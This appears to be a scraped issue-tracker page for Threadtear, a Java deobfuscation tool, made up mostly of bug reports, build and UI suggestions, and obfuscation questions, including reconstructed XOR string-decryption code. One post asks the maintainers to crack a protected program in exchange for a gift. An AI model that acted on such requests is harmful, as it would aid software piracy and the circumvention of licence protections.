The reason is it can't find the main method, I tried applying it myself with
java -cp threadtear.jar me.nov.threadtear

and even with that, the error is
Error: Could not find or load main class me.nov.threadtear

Despite I manually checked and it does contain the main method in there:
public static void main(String[] args) throws Exception {

What am I doing wrong? :)

.

.

Look and feel settings - IntelliJ Theme

Describe what's not working
Ich habe in den "Look and feel settings" das Theme auf IntelliJ gesetzt und dies hat scheinbar das gesamte Design zerhauen.
Das Design erscheint mir simpel unvollständig / nicht fertig.

Java archive
I don't get this one, sorry

Log / Screenshots
image

Please complete the following information:

  • OS: Windows 10 Pro 2004 (x64)
  • Java version: Java 8
  • threadtear version: 3.0.0

Additional context

Please see.

Can you tell me what is this protected with?
And if it is not difficult, will you crack it?
Discord: exotic.# 0001
If you crack software, contact me from discord. I would like to give a gift.

help

image
I can't open it and there's error! Can you help me with this, plz

ZKM reference obfuscation

Describe what's not working
The jar is obfuscated by ZKM (unknown version) and has string encryption + reference obfuscation applied. Only the calls to the string decryption method are encrypted. The tool is unable to deobfuscate it.

Java archive
v4_dumpfile.zip

Log / Screenshots
https://hasteb.in/xipijatu.kotlin

Please complete the following information:

  • OS: Windows 10
  • Java version: JRE 8 231

Save jar file does not work

When you save the jar file it basically downloads the original file you inserted and it is not deobfuscated at all, while in the editor it is all nicely deobfuscated

Licenses aren't included in fat jar.

Currently the fatJar task simply copies the content of each dependency into the jar. This results in files that have the same name to be overwritten.
Because most licenses are located at (and called) META-INF/LICENSE only one of those will survive (which isn't event deterministic.

I see two possible solutions here.

  1. Switch to a plugin which handles the creation of the fat jar e.g. shadow and configure it to copy the contents of the META-INF folder of each jar to META-INF/<dependency-name>.

  2. Switch from java-library to the applicationplugin. Theapplication` plugin creates a distribution zip which contains all jar files and a startup script.

    plugins {
        id 'application'
    }
    
    application {
        mainClassName = 'me.nov.threadtear.Threadtear'
        applicationName = 'Threadtear'
    }

    The resulting zip has the following structure.

     Threadtear-2.7.0/
     ├── bin/    // This is also the working directory for the application.
     │   ├── Threadtear
     │   └── Threadtear.bat
     └── lib/
          ├── ...
          └── all dependencies
    

Problems with Always on Top

I may be biased, but I find Always on Top to be causing a lot of problems and no real benefits. Least of all, when debugging and execution is paused, the window will become unresponsive and it is impossible to use that screen space or put anything on top of it. Also during normal usage, it makes me have to get out of my way to use the screen space that it covers. Could you please disable Always on Top? Or if not, make it an optional feature in the Look and Feel settings.

UI improvements.

Some recommendations for improving the UI.

  • Don’t put buttons in a GridLayout. It ignores their preferred size and makes them too large. Consider using a Box with glues and spacers for positioning or wrap each button inside a JPanel with GridBagLayout and null constraints.

Some points regarding darklaf

  • there is a new version out: 2.0.2
  • Consider replacing the lowered and raised borders with `DarkBorders#createLineBorder‘
  • Consider adding the option to change the theme to one of the other variant. You can use the ThemeSettings class to achieve this without much work.
  • As you are using Icons from the IntelliJ suit you might want to change them to .svg format (available on the IntelliJ community repo) and load them using IconLoad#loadIcon.
    • You’ll need to include darklaf-property-loader for this.
    • As IntelliJ offers light and dark icons you can also load an icon with a dark and light variant.
      • However the recommended approach for darklaf is to use ThemedSVGIcon with the provided properties. (If you want I can help converting the icons to the correct format).

QUESTION: Any plans on doing more ZKM DES Cipher work?

Hey there! Just wondering if there are any plans on working on the DES Cipher deobf more?

I have a lot of jar files that use ZKM and I'd like to know if it is possible at all (even without threadtear) or if its
even possible full stop

Thanks

  • jig

how to add libs

how do you add external libs, am i an idiot and just don't see it?

How to determine which obfuscator used?

Hello, I'm trying to deobfuscate a .jar file that contains encrypted method calls and strings but I couldn't find the correct executions.
I tried almost all of the execution options(not all of them at the same time), but still i can't get what i expect. (Maybe i am expecting more than this program does, anyway there is a huge of effort to build this)

Can someone help me to find the correct executions list?

Here is the stringdecryptor class:

This basically does Exclusive OR (XOR) between decrypted string and given key to convert string char by char.

public class stringdecryptor {
	public static String Decrypt(String var0, int var1) {

	var var5 = var0 + var1; 

	char[] chararray = var0.toCharArray();
	StringBuilder builder = new StringBuilder();
	int counter = 0;

	while(counter < chararray.length) {
		builder.append((char)(chararray[counter] ^ var1));
		++counter;
        }

        var var4_6 = builder.toString();
        return var4_6;
    }
}

I changed some of the method names(and class name too) to make it human readable. In original version, it contains HashMap functions to store already decrypted strings and return back.

Here is the MethodCallerClass thing that idk how to name it, i rewrited some of the variable names and i parsed it
The creation of variables and arrays to work with: https://i.hizliresim.com/Isl2z2.png
The while loops that does XOR with specified keys: https://i.hizliresim.com/D1O4kn.png (char by char)
The actual caller thing (ConstantCallSite, MethodHandles, etc.): https://i.hizliresim.com/jZxz0j.png

Here are examples of how these things works:

stringdecryptor.Decrypt("\u3837\u3832\u3839\u3829\u383a\u3829\u3832\u383e\u3828", -214419365);
is equivalent to: libraries

MethodCaller class behaves strange, just look at arguments

sdeg$wxOw.lOkD("\u2007\u2009\u2006\u200a", 0, "\u0474\u0466\u0457\u0446", "\u0784\u0793\u079b\u0799\u0780\u0793\u07b0\u0799\u079a\u0792\u0793\u0784", "\u07a0\u07c4\u07e2\u07e9\u07fe\u07e9\u07a7\u07e1\u07e7\u07a7\u07ce\u07e1\u07e4\u07ed\u07b3\u07a1\u07de", randomPath);
is equivalent to: qcRC.removeFolder(randomPath); because of 0 means it's a static method and there is one argument after "method caller class's own arguments"

sdeg$wxOw.lOkD("\u2008\u200c\u200a\u200d", 1, "\u046f\u0464\u0473\u0464\u042b\u046c\u046a\u042b\u0443\u046c\u0469\u0460", "\u0782\u0799\u07a3\u07a4\u07bf", "\u07a0\u07a1\u07c4\u07e2\u07e9\u07fe\u07e9\u07a7\u07e6\u07ed\u07fc\u07a7\u07dd\u07da\u07c1\u07b3", file);
is equivalent to: file.toURI() because of 1 means it's a virtual method and there is no arguments given after the file object

There is a few little encryption-decryption methods for specific things in the jar file but they are not much important as this ones and they are easy to solve. (I think they are written by hand)

If there is a execution that deobfuscates this type of jar files?

Btw, if the photo links gone, tell me, i will reupload them

Not work with BinSecure

I tried to drag a binsecure obfuscated jar into it but it just displayed errors.
are there any patch work with binsecure?

Cannot open jar because svg failed to load

Describe what's not working
Can not open jar because svg failed to load.

Log / Screenshots

Exception in thread "main" java.lang.RuntimeException: Exception while painting 'jar:file:/Users/lz233/Documents/xxx/threadtear-gui-3.0.1-all.jar!/me/nov/threadtear/threadtear.svg'.
	at com.github.weisj.darklaf.icons.DarkSVGIcon.createImage(DarkSVGIcon.java:177)
	at com.github.weisj.darklaf.icons.ImageSource.createImage(ImageSource.java:31)
	at com.github.weisj.darklaf.icons.IconUtil.createScaledImage(IconUtil.java:95)
	at com.github.weisj.darklaf.icons.IconUtil.iconToImage(IconUtil.java:87)
	at com.github.weisj.darklaf.icons.IconUtil.createScaledFrameIcon(IconUtil.java:75)
	at com.github.weisj.darklaf.icons.IconUtil.createFrameIcon(IconUtil.java:61)
	at com.github.weisj.darklaf.icons.IconLoader.createFrameIcon(IconLoader.java:383)
	at me.nov.threadtear.swing.SwingUtils.iconToFrameImage(SwingUtils.java:172)
	at me.nov.threadtear.Threadtear.<init>(Threadtear.java:36)
	at me.nov.threadtear.Threadtear.getInstance(Threadtear.java:44)
	at me.nov.threadtear.Threadtear.main(Threadtear.java:54)
Caused by: java.lang.RuntimeException: com.kitfox.svg.SVGException: java.lang.IllegalArgumentException: User must specify at least 2 colors
	at com.kitfox.svg.app.beans.SVGIcon.paintIcon(SVGIcon.java:326)
	at com.kitfox.svg.app.beans.SVGIcon.paintIcon(SVGIcon.java:213)
	at com.kitfox.svg.app.beans.SVGIcon.getImage(SVGIcon.java:113)
	at com.github.weisj.darklaf.icons.DarkSVGIcon.createImage(DarkSVGIcon.java:165)
	... 10 more
Caused by: com.kitfox.svg.SVGException: java.lang.IllegalArgumentException: User must specify at least 2 colors
	at com.kitfox.svg.ShapeElement.renderShape(ShapeElement.java:169)
	at com.kitfox.svg.Path.render(Path.java:94)
	at com.kitfox.svg.Group.render(Group.java:205)
	at com.kitfox.svg.Group.render(Group.java:205)
	at com.kitfox.svg.SVGRoot.render(SVGRoot.java:335)
	at com.kitfox.svg.SVGRoot.renderToViewport(SVGRoot.java:266)
	at com.kitfox.svg.SVGDiagram.render(SVGDiagram.java:111)
	at com.kitfox.svg.app.beans.SVGIcon.paintIcon(SVGIcon.java:322)
	... 13 more
Caused by: java.lang.IllegalArgumentException: User must specify at least 2 colors
	at java.desktop/java.awt.MultipleGradientPaint.<init>(MultipleGradientPaint.java:169)
	at java.desktop/java.awt.LinearGradientPaint.<init>(LinearGradientPaint.java:285)
	at com.kitfox.svg.LinearGradient.getPaint(LinearGradient.java:157)
	at com.kitfox.svg.ShapeElement.renderShape(ShapeElement.java:167)
	... 20 more

Please complete the following information:

  • OS: macOS 11.2
  • Java version: 8

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.